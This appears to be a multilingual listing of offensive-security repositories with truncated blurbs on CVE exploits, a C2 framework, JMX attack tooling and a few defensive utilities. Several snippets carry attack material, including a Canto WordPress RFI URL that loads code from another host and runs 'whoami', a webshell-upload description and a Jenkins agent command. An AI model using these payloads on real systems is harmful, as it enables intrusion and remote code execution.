CVE-2020-29607

CVE-2020-29607-Exploit Название эксплойта: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated Описание CVE: Уязвимость обхода ограничений загрузки файлов в Pluck CMS до версии 4.7.13 позволяет пользователю с правами администратора получить доступ к хосту через функциональность...

PULSE-C2

PULSE C2 Framework Infrastructure de Commande et Contrôle HTTPS avec tableau de bord web pour la gestion à distance d'agents Windows. ⚠️ Utilisation éducative uniquement - Toute utilisation illégale relève de votre responsabilité. Fonctionnalités Serveur C2 HTTPS avec chiffrement TLS Flask Tableau...

beanshooter

beanshooter beanshooter est un outil d'énumération et d'attaque JMX , qui aide à identifier les vulnérabilités courantes sur les points d'accès JMX. https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4 Installation beanshooter est un projet maven e...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami...

ExtensionSpoofer

ExtensionSpoofer ExtensionSpoofer — это десктопное приложение на Visual Basic .NET, демонстрирующее, как имена файлов и значки можно визуально подделывать в Windows, в то время как базовый тип исполняемого файла остаётся неизменным. Оно использует символ Юникода Right-to-Left Override U+202E для...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit le script metasploit POC/EXP concernant CVE-2021-22005 VMware vCenter Server contient une vulnérabilité de téléchargement arbitraire de fichiers préparation POC git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

vm-filesystem

vm-filesystem Un bytecode Firebeam pour interagir avec le système de fichiers tout en monkey-patchant la fonction Python pour l'interaction avec le File Browser de Havoc Interface, permettant d'interagir avec le système de fichiers distant sans avoir besoin de l'avoir embarqué. Ce dépôt est...

CVE-2023-47268

PrusaSlicer Arbitrary Code Execution Повышение привилегий с помощью .3mf-файла при уязвимой версии prusaslicer. Убедитесь, что вы можете запускать prusaslicer с помощью sudo. Linux 1.Скачайте файлы 2.Измените IP и PORT в exploit.sh 3.Убедитесь, что exploit.sh находится в каталоге /tmp 4.Выполните...

disclosures

Раскрытия Это репозиторий, в котором документируются проблемы безопасности, с которыми я столкнулся. Клиент Citrix для Linux раскрывает учётные данные в syslog Небезопасное создание временного ICA-файла в клиенте Citrix для Linux CVE-2023-24486...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI Поскольку проверка входных данных отсутствует, мы можем изменить имя JavaScript-файла на любое другое. В данном случае с помощью метода обхода пути path traversal мы можем выбрать любой файл на сервере Kibana. Однако следует помнить о функции кэширования модулей в...

fsmon

fsmon Utilitaire de surveillance de système de fichiers de bas niveau pour Linux, Android, iOS et macOS. Auteur : pancake @ nowsecure Licence : MIT Conçu pour Administrateurs système et intervenants en incidents Chercheurs en sécurité et analystes légistes Développeurs déboguant des applications ...

CVE-2019-10869

CVE-2019-10869 WordPress Расширение загрузки файлов Ninja Forms -----------------------------16345274557837-- Ответ: HTTP/1.1 200 OK Server: nginx/1.14.0 "data": "files": "name":"test.png.doc", "type":"application/msword", "tmpname":"nftmp-14FpD-test...

PowerMeta

PowerMeta PowerMeta searches for publicly available files hosted on various websites for a particular domain by using specially crafted Google, and Bing searches. It then allows for the download of those files from the target domain. After retrieving the files, the metadata associated with them c...

CVE-2024-50379

CVE-2024-50379 Exploitation de CVE-2024-50379 CVE-2024-50379.py et upload.txt sont dans le même répertoire. upload.txt contient un webshell. Ici, le contenu de upload.txt permet de générer un fichier 2.jsp. On peut utiliser 2.jsp pour créer un nouveau 4.jsp version originale de Behinder / 冰蝎...

mssqlbof

mssqlbof Une suite de fichiers Beacon Object pour Microsoft SQL Server qui parle directement TDS 7.4 sur le fil, en C. Pas de msodbcsql.dll, pas de sqloledb.dll, pas de .NET CLR, pas de PowerShell. Un COFF par architecture, chargé dans chaque beacon qui respecte l'API Beacon canonique. Pourquoi S...

CVE-2024-23897

CVE-2024-23897 Авторизованное чтение произвольных файлов через CLI в Jenkins CI приводит к удалённому выполнению кода RCE Jenkins — это самодостаточное программное обеспечение DevOps с открытым исходным кодом для автоматизации непрерывной интеграции, непрерывной доставки и развёртывания CI/CD,...

Grafana-CVE-2021-43798Exp

Grafana V8. Эксплойт произвольного чтения файлов -- Многопоточный скрипт пакетной верификации Описание уязвимости Grafana — это пакет с открытым исходным кодом для метрического анализа и визуализации. Часто используется для визуализации временных рядов данных инфраструктуры и анализа приложений, ...

Get-log4j-Windows-local

Get-log4j-Windows-local.ps1 Определяет все компоненты log4j на одном локальном Windows-сервере. CVE-2021-44228. Однократное использование — см. https://github.com/KeysAU/Get-log4j-Windows.ps1 для нескольких компьютеров. Apache log4j CVE-2021-44228 Запуск скрипта: Экспорт: Столбцы A - I:...

cve-2024-21626

CVE-2024-21626 Aperçu Ce dépôt contient des exemples de code pour une application vulnérable à CVE-2024-21626 ainsi qu'un gadget eBPF pour détecter les tentatives d'exploitation. Ce dépôt a été créé dans le cadre de cet article de blog. Le programme gadget utilisé pour détecter cette vulnérabilit...

CVE-2024-43044-POC

Использование Скачайте jar-пакет по адресу http://ip:port/jnlpJars/agent.jar Измените соответствующий код в \hudson\remoting\RemoteClassLoader.class Перекомпилируйте и упакуйте заново Необходимо заранее узнать секрет и имя node java -jar agent.jar -url http://ip:port/ -secret -name Добавьте...